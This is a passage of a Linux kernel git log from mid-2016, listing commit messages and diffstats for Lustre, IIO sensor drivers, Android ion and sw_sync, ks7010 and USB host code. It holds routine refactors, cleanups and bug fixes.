drivers/staging/lustre/lustre/llite/dir.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fee8cc87512ff3835093392656bcaa140c479709 Author: wang di Date: Thu Jul 21 22:44:05 2016 -0400 staging: lustre: llite: handle done flags differently in ll_dir_read Invert the done flag test to reduce the code indentation. If done is true release the page and break out of the while loop. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/10761 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4906 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 59 ++++++++++++++++--------------- 1 file changed, 30 insertions(+), 29 deletions(-) commit fb659ca1a6ef6a952da1af50a63210e8cfb6daca Author: wang di Date: Thu Jul 21 22:44:04 2016 -0400 staging: lustre: llite: set next only when needed in ll_dir_read The variable next needs only to be set when done is false. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/10761 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4906 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b1f048c147bb192b25e37591cfc8855aa3c34d38 Author: wang di Date: Thu Jul 21 22:44:03 2016 -0400 staging: lustre: llite: reduce indent in ll_dir_read Instead of making a large chunk of code conditional based on if a page is valid we reverse the page validity test and exit the loop if the page is invalid instead. This allows a section of code to reduce its indentation one level. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/10761 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4906 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 147 +++++++++++++++--------------- 1 file changed, 72 insertions(+), 75 deletions(-) commit 0ddf80c1b97500e33c6efd79f0ea46fab9f3200e Author: wang di Date: Thu Jul 21 22:44:02 2016 -0400 staging: lustre: llite: remove debug message in ll_dir_read Remove debug message and struct ll_inode_info. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/10761 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4906 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 3 --- 1 file changed, 3 deletions(-) commit 307bef744f65f219e81edd0e8610cb089cd3c262 Author: wang di Date: Thu Jul 21 22:44:01 2016 -0400 staging: lustre: llite: pass struct md_op_data to ll_dir_read Add struct md_op_data as a parameter to ll_dir_read. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 14 ++++++++++++-- drivers/staging/lustre/lustre/llite/llite_internal.h | 3 ++- drivers/staging/lustre/lustre/llite/llite_nfs.c | 11 ++++++++++- drivers/staging/lustre/lustre/llite/statahead.c | 7 +++++++ 4 files changed, 31 insertions(+), 4 deletions(-) commit 969d25d401e6c9c70bcb43042c91e2e1b9831f00 Author: wang di Date: Thu Jul 21 22:44:00 2016 -0400 staging: lustre: llite: label the debug info We report the inode size but never print in the debug message that the number reported is the size. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 34a60457a8533068498679d31af91db66aaaae6e Author: wang di Date: Thu Jul 21 22:43:59 2016 -0400 staging: lustre: mdc: handle IT_READDIR operations The readdir operations lock was incomplete. This patch fills in the missing pieces. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 4 +++- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 8 +++++++- 2 files changed, 10 insertions(+), 2 deletions(-) commit 8e9dfe8a22024fc10bdef39b07a8a7c1d797d061 Author: wang di Date: Thu Jul 21 22:43:58 2016 -0400 staging: lustre: lmv: add new lmv structures Newer lustre version on metadata servers support different version of lmv magic. This add the new data structures to handle these new lmv magic versions. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 81 +++++++++++++++++++--- drivers/staging/lustre/lustre/include/lustre_lmv.h | 66 ++++++++++++++++++ drivers/staging/lustre/lustre/lmv/lmv_internal.h | 1 + drivers/staging/lustre/lustre/lmv/lmv_obd.c | 1 + drivers/staging/lustre/lustre/mdc/mdc_request.c | 1 + 5 files changed, 140 insertions(+), 10 deletions(-) commit 1c12cf634e3f9c03239a492f927a9eb374f67033 Author: wang di Date: Thu Jul 21 22:43:57 2016 -0400 staging: lustre: llite: cache directory striping information Cache directory striping information that the clients receive from the metadata servers. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/llite_internal.h | 3 +++ drivers/staging/lustre/lustre/llite/llite_lib.c | 15 +++++++++++++-- 2 files changed, 16 insertions(+), 2 deletions(-) commit c55459a27665018a8c78347c398cf53cb1eef55f Author: wang di Date: Thu Jul 21 22:43:56 2016 -0400 staging: lustre: ptlrpc: remove wirecheck for struct lmv_stripe_md Remove the wiretest check for this data structure. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 29 ------------------------- 1 file changed, 29 deletions(-) commit f6718d1d9c9272849e2217a940269e65814e2fde Author: wang di Date: Thu Jul 21 22:43:55 2016 -0400 staging: lustre: obd: rename struct lmv_stripe_md field mea to lmv Rename struct lmv_stripe_md in struct lustre_md from mea to lmv. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 2 +- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 4 ++-- drivers/staging/lustre/lustre/mdc/mdc_request.c | 8 ++++---- 3 files changed, 7 insertions(+), 7 deletions(-) commit c08db984971b01cb8f87a688a828c067eeb02db3 Author: wang di Date: Thu Jul 21 22:43:54 2016 -0400 staging: lustre: obd: expand op_cli_flags Add new flags for metadata handling. These flags are related to DNE2 handling. Signed-off-by: wang di Reviewed-on: http://review.whamcloud.com/7043 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-by: John L. Hammond Reviewed-by: Jinshan Xiong Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 2 ++ 1 file changed, 2 insertions(+) commit 2c563880ea8fdc900693ae372fa07b3894f8ff63 Author: James Simmons Date: Mon Jul 11 09:40:10 2016 -0400 staging: lustre: llite: basic port to xattr_handler API Port the xattr functionality to the new xattr_handler API. This is smallest changes needed to move to this new API. The function ll_removexattr can be replaced by generic_removexattr as well since it also uses the xattr_handler set xattr backend. To tell the difference between the two cases we test the flag passed in for XATTR_REPLACE. The ll_getxattr function is replaced by the generic_getxattr function. Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/file.c | 6 +- .../staging/lustre/lustre/llite/llite_internal.h | 8 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 1 + drivers/staging/lustre/lustre/llite/namei.c | 12 +- drivers/staging/lustre/lustre/llite/symlink.c | 6 +- drivers/staging/lustre/lustre/llite/xattr.c | 195 +++++++++++++-------- 6 files changed, 141 insertions(+), 87 deletions(-) commit 1b851095d64e55a4345cddf4928256b1452b25ed Author: Ben Evans Date: Wed Jun 22 11:19:54 2016 -0400 staging: lustre: lnet: Remove old commented out code These #if 0 blocks have been in place for years. Assume they are not used and remove them Signed-off-by: Ben Evans Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-8058 Reviewed-on: http://review.whamcloud.com/20414 Reviewed-by: Andreas Dilger Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/klnds/socklnd/socklnd.c | 5 ----- drivers/staging/lustre/lnet/klnds/socklnd/socklnd_cb.c | 7 ------- drivers/staging/lustre/lnet/lnet/lib-msg.c | 18 +----------------- 3 files changed, 1 insertion(+), 29 deletions(-) commit 1e1f9ff406fd5f6003a5dab2ab5a26c4c5bb8cbd Author: James Simmons Date: Mon Jun 20 18:47:50 2016 -0400 staging: lustre: llite: break ll_getxattr_common into 2 functions Split the function ll_getxattr_common into two functions. The code used for listing xattrs and ll_getxattr_common is placed into a new function ll_getxattr_list. This allows ll_listxattr to call directly ll_getxattr_list instead of going through ll_getxattr_common. This change is needed for the upcoming VFS move xattr_handler from [s|g]etxattr. Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/xattr.c | 122 ++++++++++++++-------------- 1 file changed, 62 insertions(+), 60 deletions(-) commit 7a9011db32b5a24f29e725220d0ba9e970412f47 Author: David A. Long Date: Fri Aug 12 16:24:44 2016 -0400 Documentation: kprobes: Document jprobes stack copying limitations Some architectures (i.e.: sparc64 and arm64) make reasonable partial stack duplication for jprobes problematic. Document this. Signed-off-by: David A. Long Acked-by: Catalin Marinas Acked-by: Masami Hiramatsu Signed-off-by: Jonathan Corbet Documentation/kprobes.txt | 10 ++++++++++ 1 file changed, 10 insertions(+) commit b75b58b46b7cfd9c8e715bb3eada9e3892d217e2 Author: Alison Schofield Date: Mon Jul 25 12:11:20 2016 -0700 iio: accel: bma180: use iio helper function to guarantee direct mode Replace the code that guarantees the device stays in direct mode with iio_device_claim_direct_mode() which does same. Signed-off-by: Alison Schofield Cc: Daniel Baluta Signed-off-by: Jonathan Cameron drivers/iio/accel/bma180.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit ca1902ff98bcd9fe655028b19573e436fe9d3c76 Author: Alison Schofield Date: Mon Jul 25 11:50:12 2016 -0700 iio: humidity: hdc100x: add HDC1000 and HDC1008 to Kconfig hdc100x supports Texas Instruments HDC1000 and HDC1008 relative humidity and temperature sensors. Add these product names to Kconfig. Signed-off-by: Alison Schofield Cc: Daniel Baluta Signed-off-by: Jonathan Cameron drivers/iio/humidity/Kconfig | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 281269f8a0b00f5c95de5158e8595ed51bdb4b0a Author: Christophe JAILLET Date: Wed Aug 10 07:18:16 2016 +0200 iio: light: us5182d: Add missing error code assignment before test It is likely that checking the result of 'pm_runtime_set_active' is expected here. Fixes: f0e5f57d3ac2 ("iio: light: us8152d: Add power management support") Signed-off-by: Christophe JAILLET Signed-off-by: Jonathan Cameron drivers/iio/light/us5182d.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7c94a8b2ee8cfe915f332575566b4870976ab8f4 Author: Linus Walleij Date: Mon Jul 25 15:54:55 2016 +0200 iio: magn: add a driver for AK8974 This adds a driver for the Asahi Kasei AK8974 and its sibling AMI305 magnetometers. It was deployed on scale in 2009 on a multitude of devices. It is distincly different from AK8973 and AK8975 and needs its own driver. This patch is based on the long lost work of Samu Onkalo at Nokia, who made a misc character device driver for the Maemo/MeeGo Nokia devices, before the time of the IIO subsystem. It was mounted in e.g. the Nokia N950, N8, N86, N97 etc. It is also mounted on the ST-Ericsson HREF reference designs. It works nicely in sysfs: $ cat in_magn_x_raw && cat in_magn_y_raw && cat in_magn_z_raw -55 -101 161 And with buffered reads using a simple HRTimer trigger: $ generic_buffer -c10 -a -n ak8974 -t foo iio device number being used is 3 iio trigger number being used is 2 No channels are enabled, enabling all channels Enabling: in_magn_x_en Enabling: in_magn_y_en Enabling: in_magn_z_en Enabling: in_timestamp_en /sys/bus/iio/devices/iio:device3 foo -58.000000 -102.000000 157.000000 946684970985321044 -60.000000 -98.000000 159.000000 946684971012237548 -60.000000 -106.000000 163.000000 946684971032257080 -62.000000 -94.000000 169.000000 946684971052185058 -58.000000 -98.000000 163.000000 946684971072204589 -54.000000 -100.000000 163.000000 946684971092224121 -53.000000 -103.000000 164.000000 946684971112731933 -50.000000 -102.000000 165.000000 946684971132232666 -61.000000 -101.000000 164.000000 946684971152191162 -57.000000 -99.000000 168.000000 946684971172210693 Disabling: in_magn_x_en Disabling: in_magn_y_en Disabling: in_magn_z_en Disabling: in_timestamp_en I cannot currently scale these raw values to gauss. This is because of lack of documentation. I have sent a request for a datasheet to Asahi Kasei. The driver can optionally use a DRDY line IRQ to capture data, else it will sleep and poll. Cc: Samu Onkalo Cc: Sebastian Reichel Cc: Peter Meerwald-Stadler Tested-By: Sebastian Reichel Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron MAINTAINERS | 7 + drivers/iio/magnetometer/Kconfig | 16 +- drivers/iio/magnetometer/Makefile | 1 + drivers/iio/magnetometer/ak8974.c | 863 ++++++++++++++++++++++++++++++++++++++ 4 files changed, 886 insertions(+), 1 deletion(-) commit bcdf177d046c13db727c80ac9023b916dd878f8f Author: Linus Walleij Date: Mon Jul 25 15:54:54 2016 +0200 iio: magn: DT bindings for AK8974 This adds device tree bindings for the AK8974 magnetometer, similar to those for the AK8975. Cc: devicetree@vger.kernel.org Cc: Samu Onkalo Cc: Sebastian Reichel Cc: Peter Meerwald-Stadler Acked-by: Rob Herring Signed-off-by: Linus Walleij Signed-off-by: Jonathan Cameron .../bindings/iio/magnetometer/ak8974.txt | 29 ++++++++++++++++++++++ 1 file changed, 29 insertions(+) commit 3cd0126dca82ecba8b2a6bf5aca91454da0a0776 Author: Eric Sandeen Date: Fri Aug 12 17:40:09 2016 -0500 quota: fill in Q_XGETQSTAT inode information for inactive quotas The manpage for quotactl says that the Q_XGETQSTAT command is "useful in finding out how much space is spent to store quota information," but the current implementation does not report this info if the inode is allocated, but its quota type is not enabled. This is a change from the earlier XFS implementation, which reported information about allocated quota inodes even if their quota type was not currently active. Change quota_getstate() and quota_getstatev() to copy out the inode information if the filesystem has provided it, even if the quota type for that inode is not currently active. Signed-off-by: Eric Sandeen Reviewed-by: Bill O'Donnell Signed-off-by: Jan Kara fs/quota/quota.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) commit 44f4641073f132429e1e9a53412600206e8f7d06 Author: Martin Brandenburg Date: Mon Aug 15 11:38:36 2016 -0400 orangefs: clean up debugfs globals Mostly this is moving code into orangefs-debugfs.c so that globals turn into static globals. Then gossip_debug_mask is renamed orangefs_gossip_debug_mask but keeps global visibility, so it can be used from a macro. Signed-off-by: Martin Brandenburg fs/orangefs/devorangefs-req.c | 132 +------ fs/orangefs/orangefs-debugfs.c | 761 +++++++++++++++++++++++++++++++++++++---- fs/orangefs/orangefs-debugfs.h | 8 +- fs/orangefs/orangefs-kernel.h | 33 -- fs/orangefs/orangefs-mod.c | 53 +-- fs/orangefs/orangefs-utils.c | 398 --------------------- fs/orangefs/protocol.h | 25 +- 7 files changed, 705 insertions(+), 705 deletions(-) commit 1beba52d46f039a24f31cf5717c239c89a9d4e6f Author: Bhaktipriya Shridhar Date: Sat Aug 13 22:16:24 2016 +0530 android: binder: Remove deprecated create_singlethread_workqueue The workqueue is being used to run deferred work for the android binder. The "binder_deferred_workqueue" queues only a single work item and hence does not require ordering. Also, this workqueue is not being used on a memory recliam path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Greg Kroah-Hartman drivers/android/binder.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 6a9aabb107c65ecb6f08b010853f5571d781ba5a Author: Didik Setiawan Date: Sat May 14 10:28:10 2016 +0700 staging: android: ion: fix 'line over 80 characters' fix checkpatch.pl warning about 'line over 80 characters'. Signed-off-by: Didik Setiawan Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 35538d7822e86cb38015c21bb708a433f8814af0 Author: Gustavo Padovan Date: Thu Aug 11 12:26:44 2016 -0300 dma-buf/sw_sync: de-stage SW_SYNC SW_SYNC allows to run tests on the sync_file framework via debugfs on /sync/sw_sync Opening and closing the file triggers creation and release of a sync timeline. To create fences on this timeline the SW_SYNC_IOC_CREATE_FENCE ioctl should be used. To increment the timeline value use SW_SYNC_IOC_INC. Also it exports Sync information on /sync/info Signed-off-by: Gustavo Padovan Reviewed-by: Eric Engestrom Signed-off-by: Greg Kroah-Hartman drivers/dma-buf/Kconfig | 13 ++ drivers/dma-buf/Makefile | 1 + drivers/dma-buf/sw_sync.c | 375 +++++++++++++++++++++++++++++++++++ drivers/dma-buf/sync_debug.c | 230 +++++++++++++++++++++ drivers/dma-buf/sync_debug.h | 84 ++++++++ drivers/dma-buf/sync_trace.h | 32 +++ drivers/staging/android/Kconfig | 13 -- drivers/staging/android/Makefile | 1 - drivers/staging/android/sw_sync.c | 375 ----------------------------------- drivers/staging/android/sync_debug.c | 230 --------------------- drivers/staging/android/sync_debug.h | 84 -------- drivers/staging/android/sync_trace.h | 32 --- 12 files changed, 735 insertions(+), 735 deletions(-) commit fc0c9a03b57efb769a74fa8b33d68d90153b5950 Author: Gustavo Padovan Date: Thu Aug 11 13:45:53 2016 -0300 staging/android: add Doc for SW_SYNC ioctl interface This interface is hidden from kernel headers and it is intended for use only for testing. So testers would have to add the ioctl information internally. This is to prevent misuse of this feature. v2: take in Eric suggestions for the Documentation v3: really take in Eric suggestions Signed-off-by: Gustavo Padovan Reviewed-by: Eric Engestrom Signed-off-by: Greg Kroah-Hartman drivers/staging/android/sw_sync.c | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit e912c881f13523fa696f5a7233ee3fffc66fa6a3 Author: Gustavo Padovan Date: Thu Aug 11 12:26:42 2016 -0300 staging/android: prepare sw_sync files for de-staging remove file paths in the comments and add short description about each file. v2: remove file paths instead of just change them. v3: improve header description as sugggested by Eric Signed-off-by: Gustavo Padovan Reviewed-by: Eric Engestrom Signed-off-by: Greg Kroah-Hartman drivers/staging/android/sw_sync.c | 2 +- drivers/staging/android/sync_debug.c | 2 +- drivers/staging/android/sync_debug.h | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit a04f915eba944d41773146bb6c004212b29a6ace Author: Gustavo Padovan Date: Thu Aug 11 12:26:41 2016 -0300 staging/android: move trace/sync.h to sync_trace.h The common behaviour for trace headers is to have them in the same folder they are used, instead of creating a special trace/ directory. Signed-off-by: Gustavo Padovan Reviewed-by: Eric Engestrom Signed-off-by: Greg Kroah-Hartman drivers/staging/android/sw_sync.c | 2 +- drivers/staging/android/sync_trace.h | 32 ++++++++++++++++++++++++++++++++ drivers/staging/android/trace/sync.h | 32 -------------------------------- 3 files changed, 33 insertions(+), 33 deletions(-) commit a4ebee657c9be3afd35530cd4478b0fa514706d7 Author: Gustavo Padovan Date: Thu Aug 11 12:26:40 2016 -0300 staging/android: do not let userspace trigger WARN_ON Closing the timeline without waiting all fences to signal is not a critical failure, it is just bad usage from userspace so avoid calling WARN_ON in this case. Signed-off-by: Gustavo Padovan Signed-off-by: Greg Kroah-Hartman drivers/staging/android/sw_sync.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 04b8290f3b95a3935ed07f2954bad9c87e8fb143 Author: Laura Abbott Date: Mon Aug 8 09:52:58 2016 -0700 staging: android: ion: Get rid of ion_reserve ion_reserve was supposed to be used to reserve memory in board files. These days, board files are no more and there are other more controlled mechanisms for reserving memory. Get rid of this function. Signed-off-by: Laura Abbott Reviewed-by: Benjamin Gaignard Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 34 ---------------------------------- drivers/staging/android/ion/ion.h | 11 ----------- 2 files changed, 45 deletions(-) commit 0ba5aa477f42c45e2057eb5d3eaa408d0dffec74 Author: Laura Abbott Date: Mon Aug 8 09:52:57 2016 -0700 staging: android: ion: Drop ion_carveout_allocate definitions ion_carveout_allocate and ion_carveout_free aren't used outside of the carveout heap. Get rid of the definitions. Signed-off-by: Laura Abbott Reviewed-by: Benjamin Gaignard Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion_carveout_heap.c | 2 ++ drivers/staging/android/ion/ion_priv.h | 14 -------------- 2 files changed, 2 insertions(+), 14 deletions(-) commit f82ad60e2b82c1efb48c3aa1eddbd516c7b2feea Author: Laura Abbott Date: Mon Aug 8 09:52:56 2016 -0700 staging: android: ion: Get rid of map_dma/unmap_dma The map_dma API interface was designed to generate an sg_table. Currently, every client just creates the table at allocation time and then returns the one table. Nothing happens on unmap_dma either. Just get rid of the API and assign the sg_table directly. Signed-off-by: Laura Abbott Reviewed-by: Benjamin Gaignard Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 23 +++++++----------- drivers/staging/android/ion/ion_carveout_heap.c | 17 ++----------- drivers/staging/android/ion/ion_chunk_heap.c | 17 ++----------- drivers/staging/android/ion/ion_cma_heap.c | 16 +------------ drivers/staging/android/ion/ion_priv.h | 5 ---- drivers/staging/android/ion/ion_system_heap.c | 32 +++---------------------- 6 files changed, 16 insertions(+), 94 deletions(-) commit da792ccb63d69abd0c6c84857666a086a38d1ef9 Author: Laura Abbott Date: Mon Aug 8 09:52:55 2016 -0700 staging: android: ion: Drop ion_phys interface ion_phys was an interface used for older legacy behavior. sg_tables are the standard now. Get rid of it. Signed-off-by: Laura Abbott Reviewed-by: Benjamin Gaignard Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 26 ------------------------- drivers/staging/android/ion/ion.h | 19 ------------------ drivers/staging/android/ion/ion_carveout_heap.c | 14 ------------- drivers/staging/android/ion/ion_cma_heap.c | 18 ----------------- drivers/staging/android/ion/ion_priv.h | 11 +---------- drivers/staging/android/ion/ion_system_heap.c | 12 ------------ 6 files changed, 1 insertion(+), 99 deletions(-) commit c7df077b6d6db8d3bed1d5de2707f3386198ae0d Author: Laura Abbott Date: Mon Aug 8 09:52:54 2016 -0700 staging: android: ion: Get rid of ion_sg_table The ion_sg_table interface is mostly a reimplementation of what dma_buf is doing. Clients should be using dma_buf APIs instead. Signed-off-by: Laura Abbott Reviewed-by: Benjamin Gaignard Signed-off-by: Greg Kroah-Hartman drivers/staging/android/ion/ion.c | 20 -------------------- drivers/staging/android/ion/ion.h | 11 ----------- 2 files changed, 31 deletions(-) commit 803394d03b43ba0ef4a9ed148de19c01d87cd13a Author: Colin Ian King Date: Sat Aug 13 19:52:38 2016 +0100 staging: ks7010: do not dereference priv if priv is null priv is being dereferenced before a check for it being null is made, so there is a possibililty a null pointer deference can occur. Instead, only dereference priv if it is non-null. Signed-off-by: Colin Ian King Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6bef3f01398dc12532873f8b2376dba1339908bb Author: Bing Sun Date: Tue Jul 19 09:51:06 2016 +0800 Staging: ks7010: michael_mic: fixed macros coding style issue Fixed coding style issue: Enclose multiple statements macros definition in a do while loop. Use one space around binary operators. Signed-off-by: Bing Sun Reviewed-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/michael_mic.c | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) commit 695872eae5cb8292ad5a748451453468f0576001 Author: Markus Elfring Date: Sun Jul 17 19:26:15 2016 +0200 staging: ks7010: Delete a variable in write_to_device() The local variable "rc" was assigned a zero at one place. But it was not read within this function. Thus delete it. Signed-off-by: Markus Elfring Reviewed-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit eeed92c0c0829e63c04a9f2c0c1926a4a48f6c0a Author: Markus Elfring Date: Sun Jul 17 13:38:46 2016 +0200 staging: ks7010: Delete unnecessary assignments for buffer variables A few variables were assigned a null pointer despite of the detail that they were immediately reassigned by the following statement. Thus remove such unnecessary assignments. Signed-off-by: Markus Elfring Reviewed-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 58043f2527fe012e48ce30a5386c9763c88e5dd3 Author: Markus Elfring Date: Sun Jul 17 13:14:57 2016 +0200 staging: ks7010: Delete unnecessary checks before the function call "kfree" The kfree() function tests whether its argument is NULL and then returns immediately. Thus the test around the calls is not needed. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Acked-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) commit 73577d61799e8d8bb7d69a9acdc54923e5998138 Author: Icenowy Zheng Date: Fri Aug 12 11:06:22 2016 +0800 ehci-platform: add the max clock number to 4 Allwinner A64 EHCI requires 4 clocks to be enabled. Signed-off-by: Icenowy Zheng Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman drivers/usb/host/ehci-platform.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d6b76c4ddb124dd22c6e910ca9332e472e7b3273 Author: Rafał Miłecki Date: Wed Aug 10 11:56:46 2016 +0200 USB: bcma: support old USB 2.0 controller on Northstar devices Currently bcma-hcd driver handles 3 different bcma cores: 1) BCMA_CORE_USB20_HOST (0x819) 2) BCMA_CORE_NS_USB20 (0x504) 3) BCMA_CORE_NS_USB30 (0x505) The first one was introduced years ago and so far was used on MIPS devices only. All Northstar (ARM) devices were using other two cores which allowed easy implementation of separated initialization paths. It seems however Broadcom decided to reuse this old USB 2.0 controller on some recently introduced cheaper Northstar BCM53573 SoCs. I noticed this on Tenda AC9 (based on BCM47189B0 belonging to BCM53573 family). There is no difference in this old controller core identification between MIPS and ARM devices: they share the same id and revision. We need different controller initialization procedure however. To handle this add a check for architecture and implement required initialization for ARM case. Signed-off-by: Rafał Miłecki Signed-off-by: Greg Kroah-Hartman drivers/usb/host/bcma-hcd.c | 86 ++++++++++++++++++++++++++++++++++++++++-- include/linux/bcma/bcma_regs.h | 1 + 2 files changed, 83 insertions(+), 4 deletions(-) commit 6e958051cb0742dd54bb61528c130bd6eaecae0d Author: Wei Yongjun Date: Fri Aug 12 11:22:22 2016 +0000 usbip: vhci_hcd: fix return value check in add_platform_device() In case of error, the function platform_device_register_simple() returns ERR_PTR() and never returns NULL. The NULL test in the return value check should be replaced with IS_ERR(). Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/usb/usbip/vhci_hcd.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d35cbed6047c0207b4be9ff60b541c331b62b59c Author: Bhaktipriya Shridhar Date: Sat Aug 13 21:20:40 2016 +0530 whci: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue replaces the deprecated create_singlethread_workqueue. The workqueue "workqueue" has multiple workitems which may require ordering. Hence, a dedicated ordered workqueue has been used. Since the workqueue is not being used on a memory reclaim path, WQ_MEM_RECLAIM has not been set. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Greg Kroah-Hartman drivers/usb/host/whci/init.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 13a88bf5e0fa886394d7148b9eec1f58d14608b5 Author: Oliver Neukum Date: Mon Aug 15 11:17:55 2016 +0200 cdc-wdm: cleanup debug messages Dynamic debugging will already add 